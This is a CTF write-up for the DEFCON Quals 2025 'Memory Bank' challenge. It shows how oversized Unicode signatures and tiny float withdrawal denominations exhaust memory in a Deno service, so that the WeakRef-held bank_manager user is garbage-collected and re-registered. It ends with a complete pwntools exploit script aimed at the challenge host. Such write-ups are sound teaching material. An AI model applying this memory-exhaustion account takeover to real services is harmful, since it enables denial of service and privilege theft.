Introduction
As a web hacking enthusiast, I typically focus on web-based CTF challenges. However, due to the lack of such challenges in DEFCON Quals 2025, I decided to tackle the Memory Bank challenge, which, though not strictly web-based, shared some similarities in nature.
In this white-box CTF challenge, we had full access to the application code, allowing us to understand and exploit the service directly. The objective was to bypass the system’s restrictions and access the privileged bank_manager
account, from which we could retrieve a flag. The challenge was hosted on a remote server, and the interaction was through a custom-made ATM machine interface.
The provided Dockerfile, shell script, and the main JavaScript file (index.js
) were crucial in understanding the underlying service.
🔽 You can download all the challenge-related files below:
Challenge Goal and Constraints
To solve this challenge, we needed to bypass restrictions on the bank_manager
account. This user was stored using a weak reference, meaning it could be garbage collected and re-registered under memory pressure.
The challenge constraints made this tricky:
- The process was limited to 22.4MB of RAM (
ulimit -m 22400
). - The Deno process had a 20-second global timeout.
Our goal was to induce sufficient memory usage to trigger garbage collection, causing the original bank_manager
WeakRef to be cleaned up, and then quickly re-register it as our own before memory usage dropped. With the goal clear and constraints defined, our next step was to understand how the system manages users in memory.
Step 1: Understanding WeakRef Behavior
Inside the code, we discovered the following structure for user registration:
1
2
3
4
5
6
7
8
class UserRegistry {
constructor() {
this.users = [];
}
addUser(user) {
this.users.push(new WeakRef(user));
}
}
This meant that each user was stored as a WeakRef
— a special type of reference in JavaScript that doesn’t prevent its target object from being garbage collected.
In practice, this has a key implication: if there are no strong references to a User object and the system experiences memory pressure, that user can be silently removed from memory by the garbage collector.
Crucially, the bank_manager
user is added to this registry at boot time and has no strong reference held elsewhere. So, if we can force a garbage collection event by exhausting memory, the bank_manager
may be collected and the username freed — allowing us to re-register it as our own.
Our exploit would rely on reaching that memory threshold without crashing the process.
Step 2: Exploring the Environment
Upon inspection, we saw that the challenge was hosted using a Deno application, and we were required to interact with it by sending commands through a remote connection. The provided Dockerfile and run_challenge.sh
script revealed that the service was running in a restricted memory environment, with a memory limit of 22.4MB (ulimit -m 22400
) and a 20-second timeout.
This confirmed what we already knew: exploiting memory pressure would be the only viable path to reclaiming the bank_manager account.
1
2
ulimit -m 22400 # Memory limit of 22.4MB
timeout 20s deno run --allow-read index.js # Timeout after 20 seconds
With that confirmed, we started experimenting with interactions that could gradually consume memory and potentially trigger garbage collection. Creating users and setting long signatures appeared promising — especially since signatures were stored and reused during withdrawals.
Step 3: Identifying Signature as a Key Memory Factor
After testing various methods, we discovered that the size of the signature had a significant impact on memory usage. Each character in the signature, particularly those that were large Unicode characters (such as emojis and CJK characters), contributed substantially to memory consumption. We decided to exploit this by crafting large signatures to consume as much memory as possible. This memory-intensive approach was key to our strategy to trigger the system’s memory limits.
Creating a Large Signature
We used a combination of emojis and CJK characters (which require 4 bytes per character in UTF-8 encoding) to generate a signature that would consume a large amount of memory.
1
2
3
4
5
6
7
8
def generate_heavy_signature(length=10000):
ranges = [
range(0x1F300, 0x1F6FF), # Emojis
range(0x20000, 0x2A6DF), # CJK Ext B
range(0x2A700, 0x2B73F), # CJK Ext C
]
pool = ''.join(chr(i) for r in ranges for i in r)
return ''.join(random.choices(pool, k=length))
By generating signatures with a length of 10,000 characters, we were able to create massive signatures that consumed a substantial portion of the available memory. This was the first step towards achieving the desired memory exhaustion, but it still wasn’t enough to trigger the desired behavior.
Step 4: Combining Signature Size with Token Withdrawals
We also realized that token withdrawals were a significant factor in increasing memory usage. Each time a user withdrew tokens, the signature was sent multiple times—once for each bill generated. By increasing the number of bills generated, we could exponentially increase memory usage. This meant that the withdrawal process could amplify memory consumption by including the large signature on multiple bills at once.
1
2
3
for (const bill of bills) {
console.log(`${bill.id}: Signed by ${user.signature}`);
}
Setting the Denomination to an Extremely Low Value
Initially, we believed that reducing the denomination value would increase memory consumption and trigger the server’s memory limit. The system appeared to expect integer values for denominations, as seen in the following code:
1
2
const billOptions = [1, 5, 10, 20, 50, 100];
console.log(`${YELLOW}Available bill denominations: ${billOptions.join(", ")}${RESET}`);
However, we soon realized that we could use float values for the denomination
(which wasn’t initially clear from the available options), allowing us to generate a much higher number of bills per withdrawal. This was a critical insight because the smaller the denomination, the more bills the server had to process, increasing the overall memory consumption.
This became especially important because each user only had 101 tokens by default. With such a small balance, we couldn’t afford to make many withdrawals, so it was essential to extract the maximum number of bills in a single transaction. Using a small float denomination — like 0.00001
— let us transform a single 100-token withdrawal into thousands of bills, each including a full copy of the user’s signature. This massively boosted memory usage per user session.
The issue we hadn’t accounted for was that using very small float values for the denomination
also directly impacted the calculation time. The smaller the denomination, the more bills the system had to create, which led to increased processing time.
This increased the duration of each operation, eventually causing the server to exceed its 10-second execution timeout and triggering a timeout kill (SIGKILL
) on the process.
1
2
3
p.sendlineafter(b"withdraw", b"100")
denomination = 0.00001 # Extremely low denomination
p.sendlineafter(b"denomination", str(denomination).encode())
This approach worked by triggering multiple bills per transaction, each of which carried the signature. With the large signature size and the increased number of bills due to the small denomination, the service’s memory usage surged.
Step 5: Optimizing Memory Usage and Execution Time
After refining our approach, we found that on the local machine, the solution worked perfectly, and we could send enough data to exhaust the memory. However, remotely, the connection was terminated due to the timeout before the memory exhaustion could take effect.
At first, we suspected the service was terminating the process because it was exceeding the 22.4MB memory limit, triggering a SIGKILL
. However, after additional testing, we discovered that the issue was not related to memory limits but rather the execution time. The small denomination value resulted in many bills being generated, which prolonged the calculation time. This delay caused the process to exceed the 10-second limit set by the server for calculating the denomination
and generating the bills. It wasn’t the overall connection timeout (which was 20 seconds) that caused the issue, but the specific operation of calculating and processing the denominations, which exceeded the 10-second limit for that operation.
The server didn’t kill the process because of memory usage, but because it took too long to complete the required operations, triggering a timeout for that specific process.
In Step 4, we leveraged very low denomination values (e.g., 0.00001
) to generate multiple bills per transaction, which greatly increased memory consumption. However, this also prolonged the transaction duration, causing the process to exceed the 10-second timeout. To address this, we increased the denomination to 0.001
, reducing the number of bills created per transaction and significantly lowering the processing time without sacrificing memory consumption.
Final Solution: A Fine Balance Between Memory and Time
After considering memory consumption and the effect of denominations on execution time, we fine-tuned our approach to balance both. By adjusting the signature size to maximize memory consumption and the denomination to reduce the number of bills processed, we successfully exploited the system’s memory limitations within the 10-second execution window.
This strategy was important for two reasons:
- Increasing the size of the signature maximized memory consumption, which was necessary for triggering memory exhaustion.
- By setting the denomination to
0.001
, we reduced the number of bills generated for each withdrawal. A larger denomination helped keep the process from timing out, as generating fewer bills took less time.
By combining a memory-heavy signature with a carefully chosen denomination, we triggered garbage collection and successfully re-registered bank_manager
before the process timed out.
1
denomination = 0.001 # Larger denomination to reduce transaction count
By optimizing both the signature size and the denomination, we successfully triggered the desired memory exhaustion without exceeding the execution time limits. This allowed us to access the bank_manager
account and retrieve the flag.
Final Exploit Code
The exploit code handles three critical tasks: authentication (sending the ticket), generating the large signature to consume memory, and sending the required input for each operation to exploit the system. The send_input
function ensures that the user interactions are automated and executed in the correct order, while the heavy signature and denomination adjustments trigger memory exhaustion without exceeding the 10-second execution time limit. This ultimately allows us to bypass the system’s restrictions and log in as bank_manager
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import random
import time
import string
HOST = "memorybank-tlc4zml47uyjm.shellweplayaga.me"
PORT = 9005
TICKET = "ticket{BigFrankie1655n25...Yq3L3j8OLx1T2q7_qkxqLauM}"
def generate_heavy_signature(length=10000):
# Combining ranges for memory-heavy characters
ranges = [
range(0x1F300, 0x1F6FF), # Emojis
range(0x20000, 0x2A6DF), # CJK Ext B
range(0x2A700, 0x2B73F), # CJK Ext C
]
pool = ''.join(chr(i) for r in ranges for i in r)
return ''.join(random.choices(pool, k=length)) # Generate random characters
def send_ticket(p):
""" Send ticket to authenticate. """
p.sendline(TICKET.encode())
print("[*] Ticket sent")
def send_input(p, prompt, response):
""" Utility function to send input after receiving prompt. """
p.sendlineafter(prompt, response)
def exploit():
try:
with remote(HOST, PORT) as p: # Using with statement to ensure closure of connection
print("[*] Connected to server")
send_ticket(p) # Send ticket to authenticate
# Generate a heavy signature
sign = generate_heavy_signature()
print(f"[*] Creating user")
print(f" Signature: {sign[:50]}...")
# Register user and set signature
send_input(p, b"Please register with a username", b"random")
send_input(p, b"Choose an operation", b"3")
send_input(p, b"Enter your signature", sign.encode())
# Withdraw tokens with a low denomination
send_input(p, b"operation", b"2")
send_input(p, b"withdraw", b"100")
send_input(p, b"denomination", str(0.001).encode())
# Logout and attempt to register as bank_manager
send_input(p, b"Choose an operation", b"4")
send_input(p, b"Please register with a username", b"bank_manager")
send_input(p, b"Choose an operation", b"6")
p.interactive() # Switch to interactive mode to interact with bank_manager
except Exception as e:
print(f"[!] Error occurred: {e}")
if __name__ == "__main__":
exploit()
Conclusion
This challenge not only required a deep understanding of memory management but also patience and experimentation with different memory manipulation techniques. By carefully adjusting the parameters, we successfully exploited the memory limitations, ultimately achieving our goal: retrieving the flag.
Acknowledgments
Special thanks to DEFCON Quals for designing this challenge. The concept of managing memory while interacting with a service in real-time provided a unique opportunity for learning and problem-solving.
TL;DR — Memory vs Time: A Tradeoff for Exploitation
Initially, we thought the service was killed due to memory exhaustion. In reality, the issue was execution time: using tiny denominations created too many bills, making the process slow enough to hit the 10-second timeout. By increasing the denomination just enough, we kept memory usage high while staying within the time limit — and successfully triggered garbage collection to reclaim the bank_manager
account.